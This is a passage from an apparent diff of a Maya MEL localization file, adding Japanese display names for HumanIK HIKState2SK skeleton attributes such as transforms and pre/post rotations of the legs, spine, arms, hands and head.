"HIKState2SK", "LeftLegR", "左脚 R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegRx", "左脚 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegRy", "左脚 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegRz", "左脚 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegS", "左脚 S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegSx", "左脚 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegSy", "左脚 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegSz", "左脚 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegPGX", "左脚の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegROrder", "左脚の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegSC", "左脚 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegIS", "左脚 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegISx", "左脚 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegISy", "左脚 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegISz", "左脚 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegPreR", "左脚のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegPreRx", "左脚のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegPreRy", "左脚のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegPreRz", "左脚のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegPostR", "左脚のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegPostRx", "左脚のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegPostRy", "左脚のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftLegPostRz", "左脚のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootT", "左足 T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootTx", "左足 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootTy", "左足 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootTz", "左足 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootR", "左足 R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRx", "左足 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRy", "左足 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRz", "左足 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootS", "左足 S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootSx", "左足 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootSy", "左足 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootSz", "左足 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPGX", "左足の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootROrder", "左足の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootSC", "左足 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIS", "左足 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootISx", "左足 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootISy", "左足 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootISz", "左足 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPreR", "左足のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPreRx", "左足のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPreRy", "左足のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPreRz", "左足のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPostR", "左足のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPostRx", "左足のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPostRy", "左足のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootPostRz", "左足のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegT", "右大腿部 T" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegTx", "右大腿部 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegTy", "右大腿部 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegTz", "右大腿部 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegR", "右大腿部 R" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegRx", "右大腿部 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegRy", "右大腿部 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegRz", "右大腿部 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegS", "右大腿部 S" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegSx", "右大腿部 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegSy", "右大腿部 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegSz", "右大腿部 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegPGX", "右大腿部の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegROrder", "右大腿部の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegSC", "右大腿部 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegIS", "右大腿部 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegISx", "右大腿部 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegISy", "右大腿部 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegISz", "右大腿部 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegPreR", "右大腿部のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegPreRx", "右大腿部のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegPreRy", "右大腿部のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegPreRz", "右大腿部のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegPostR", "右大腿部のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegPostRx", "右大腿部のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegPostRy", "右大腿部のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightUpLegPostRz", "右大腿部のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegT", "右脚 T" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegTx", "右脚 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegTy", "右脚 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegTz", "右脚 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegR", "右脚 R" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegRx", "右脚 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegRy", "右脚 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegRz", "右脚 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegS", "右脚 S" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegSx", "右脚 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegSy", "右脚 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegSz", "右脚 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegPGX", "右脚の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegROrder", "右脚の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegSC", "右脚 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegIS", "右脚 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegISx", "右脚 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegISy", "右脚 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegISz", "右脚 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegPreR", "右脚のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegPreRx", "右脚のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegPreRy", "右脚のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegPreRz", "右脚のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegPostR", "右脚のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegPostRx", "右脚のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegPostRy", "右脚のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightLegPostRz", "右脚のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootT", "右足 T" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootTx", "右足 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootTy", "右足 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootTz", "右足 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootR", "右足 R" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRx", "右足 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRy", "右足 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRz", "右足 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootS", "右足 S" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootSx", "右足 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootSy", "右足 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootSz", "右足 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPGX", "右足の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootROrder", "右足の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootSC", "右足 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIS", "右足 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootISx", "右足 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootISy", "右足 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootISz", "右足 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPreR", "右足のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPreRx", "右足のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPreRy", "右足のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPreRz", "右足のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPostR", "右足のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPostRx", "右足のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPostRy", "右足のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPostRz", "右足のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "SpineT", "脊椎 T" ); +setAttrNiceNameResource( "HIKState2SK", "SpineTx", "脊椎 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "SpineTy", "脊椎 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "SpineTz", "脊椎 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "SpineR", "脊椎 R" ); +setAttrNiceNameResource( "HIKState2SK", "SpineRx", "脊椎 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "SpineRy", "脊椎 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "SpineRz", "脊椎 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "SpineS", "脊椎 S" ); +setAttrNiceNameResource( "HIKState2SK", "SpineSx", "脊椎 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "SpineSy", "脊椎 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "SpineSz", "脊椎 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "SpinePGX", "脊椎の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "SpineROrder", "脊椎の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "SpineSC", "脊椎 SC" ); +setAttrNiceNameResource( "HIKState2SK", "SpineIS", "脊椎 IS" ); +setAttrNiceNameResource( "HIKState2SK", "SpineISx", "脊椎 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "SpineISy", "脊椎 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "SpineISz", "脊椎 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "SpinePreR", "脊椎のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "SpinePreRx", "脊椎のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "SpinePreRy", "脊椎のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "SpinePreRz", "脊椎のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "SpinePostR", "脊椎のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "SpinePostRx", "脊椎のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "SpinePostRy", "脊椎のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "SpinePostRz", "脊椎のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmT", "左腕 T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmTx", "左腕 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmTy", "左腕 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmTz", "左腕 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmR", "左腕 R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmRx", "左腕 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmRy", "左腕 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmRz", "左腕 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmS", "左腕 S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmSx", "左腕 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmSy", "左腕 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmSz", "左腕 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmPGX", "左腕の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmROrder", "左腕の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmSC", "左腕 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmIS", "左腕 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmISx", "左腕 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmISy", "左腕 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmISz", "左腕 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmPreR", "左腕のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmPreRx", "左腕のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmPreRy", "左腕のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmPreRz", "左腕のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmPostR", "左腕のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmPostRx", "左腕のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmPostRy", "左腕のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftArmPostRz", "左腕のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmT", "左前腕 T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmTx", "左前腕 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmTy", "左前腕 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmTz", "左前腕 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmR", "左前腕 R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmRx", "左前腕 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmRy", "左前腕 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmRz", "左前腕 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmS", "左前腕 S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmSx", "左前腕 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmSy", "左前腕 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmSz", "左前腕 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmPGX", "左前腕の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmROrder", "左前腕の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmSC", "左前腕 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmIS", "左前腕 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmISx", "左腕 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmISy", "左腕 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmISz", "左腕 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmPreR", "左前腕のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmPreRx", "左前腕のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmPreRy", "左前腕のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmPreRz", "左前腕のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmPostR", "左前腕のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmPostRx", "左前腕のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmPostRy", "左前腕のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftForeArmPostRz", "左前腕のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandT", "左手 T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandTx", "左手 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandTy", "左手 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandTz", "左手 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandR", "左手 R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRx", "左手 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRy", "左手 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandRz", "左手 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandS", "左手 S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandSx", "左手 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandSy", "左手 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandSz", "左手 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPGX", "左手の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandROrder", "左手の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandSC", "左手 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandIS", "左手 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandISx", "左腕 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandISy", "左腕 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandISz", "左腕 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPreR", "左手のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPreRx", "左手のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPreRy", "左手のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPreRz", "左手のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPostR", "左手のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPostRx", "左手のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPostRy", "左手のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftHandPostRz", "左手のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmT", "右腕 T" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmTx", "右腕 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmTy", "右腕 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmTz", "右腕 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmR", "右腕 R" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmRx", "右腕 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmRy", "右腕 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmRz", "右腕 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmS", "右腕 S" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmSx", "右腕 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmSy", "右腕 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmSz", "右腕 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmPGX", "右腕の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmROrder", "右腕の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmSC", "右腕 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmIS", "右腕 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmISx", "右腕 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmISy", "右腕 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmISz", "右腕 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmPreR", "右腕のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmPreRx", "右腕のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmPreRy", "右腕のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmPreRz", "右腕のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmPostR", "右腕のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmPostRx", "右腕のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmPostRy", "右腕のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightArmPostRz", "右腕のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmT", "右前腕 T" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmTx", "右前腕 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmTy", "右前腕 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmTz", "右前腕 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmR", "右前腕 R" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmRx", "右前腕 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmRy", "右前腕 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmRz", "右前腕 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmS", "右前腕 S" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmSx", "右前腕 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmSy", "右前腕 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmSz", "右前腕 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmPGX", "右前腕の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmROrder", "右前腕の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmSC", "右前腕 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmIS", "右前腕 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmISx", "右前腕 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmISy", "右前腕 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmISz", "右前腕 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmPreR", "右前腕のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmPreRx", "右前腕のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmPreRy", "右前腕のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmPreRz", "右前腕のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmPostR", "右前腕のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmPostRx", "右前腕のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmPostRy", "右前腕のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightForeArmPostRz", "右前腕のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandT", "右手 T" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandTx", "右手 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandTy", "右手 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandTz", "右手 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandR", "右手 R" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRx", "右手 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRy", "右手 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandRz", "右手 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandS", "右手 S" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandSx", "右手 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandSy", "右手 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandSz", "右手 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPGX", "右手の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandROrder", "右手の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandSC", "右手 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandIS", "右手 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandISx", "右手 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandISy", "右手 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandISz", "右手 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPreR", "右手のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPreRx", "右手のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPreRy", "右手のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPreRz", "右手のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPostR", "右手のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPostRx", "右手のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPostRy", "右手のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightHandPostRz", "右手のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "HeadT", "頭部 T" ); +setAttrNiceNameResource( "HIKState2SK", "HeadTx", "頭部 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "HeadTy", "頭部 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "HeadTz", "頭部 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "HeadR", "頭部 R" ); +setAttrNiceNameResource( "HIKState2SK", "HeadRx", "頭部 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "HeadRy", "頭部 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "HeadRz", "頭部 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "HeadS", "頭部 S" ); +setAttrNiceNameResource( "HIKState2SK", "HeadSx", "頭部 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "HeadSy", "頭部 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "HeadSz", "頭部 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "HeadPGX", "頭の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "HeadROrder", "頭の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "HeadSC", "頭部 SC" ); +setAttrNiceNameResource( "HIKState2SK", "HeadIS", "頭部 IS" ); +setAttrNiceNameResource( "HIKState2SK", "HeadISx", "頭部 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "HeadISy", "頭部 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "HeadISz", "頭部 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "HeadPreR", "頭のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "HeadPreRx", "頭のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "HeadPreRy", "頭のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "HeadPreRz", "頭のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "HeadPostR", "頭のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "HeadPostRx", "頭のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "HeadPostRy", "頭のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "HeadPostRz", "頭のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftToeBaseT", "左足指のベース T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftToeBaseTx", "左足指のベース Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftToeBaseTy", "左足指のベース Ty" ); +setAttrNiceNameResource( "HIKState2SK", "LeftToeBaseTz", "左足指のベース Tz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftToeBaseR", "左足指のベース R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftToeBaseRx", "左足指のベース Rx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftToeBaseRy", "左足指のベース Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftToeBaseRz", "左足指のベース Rz" ); 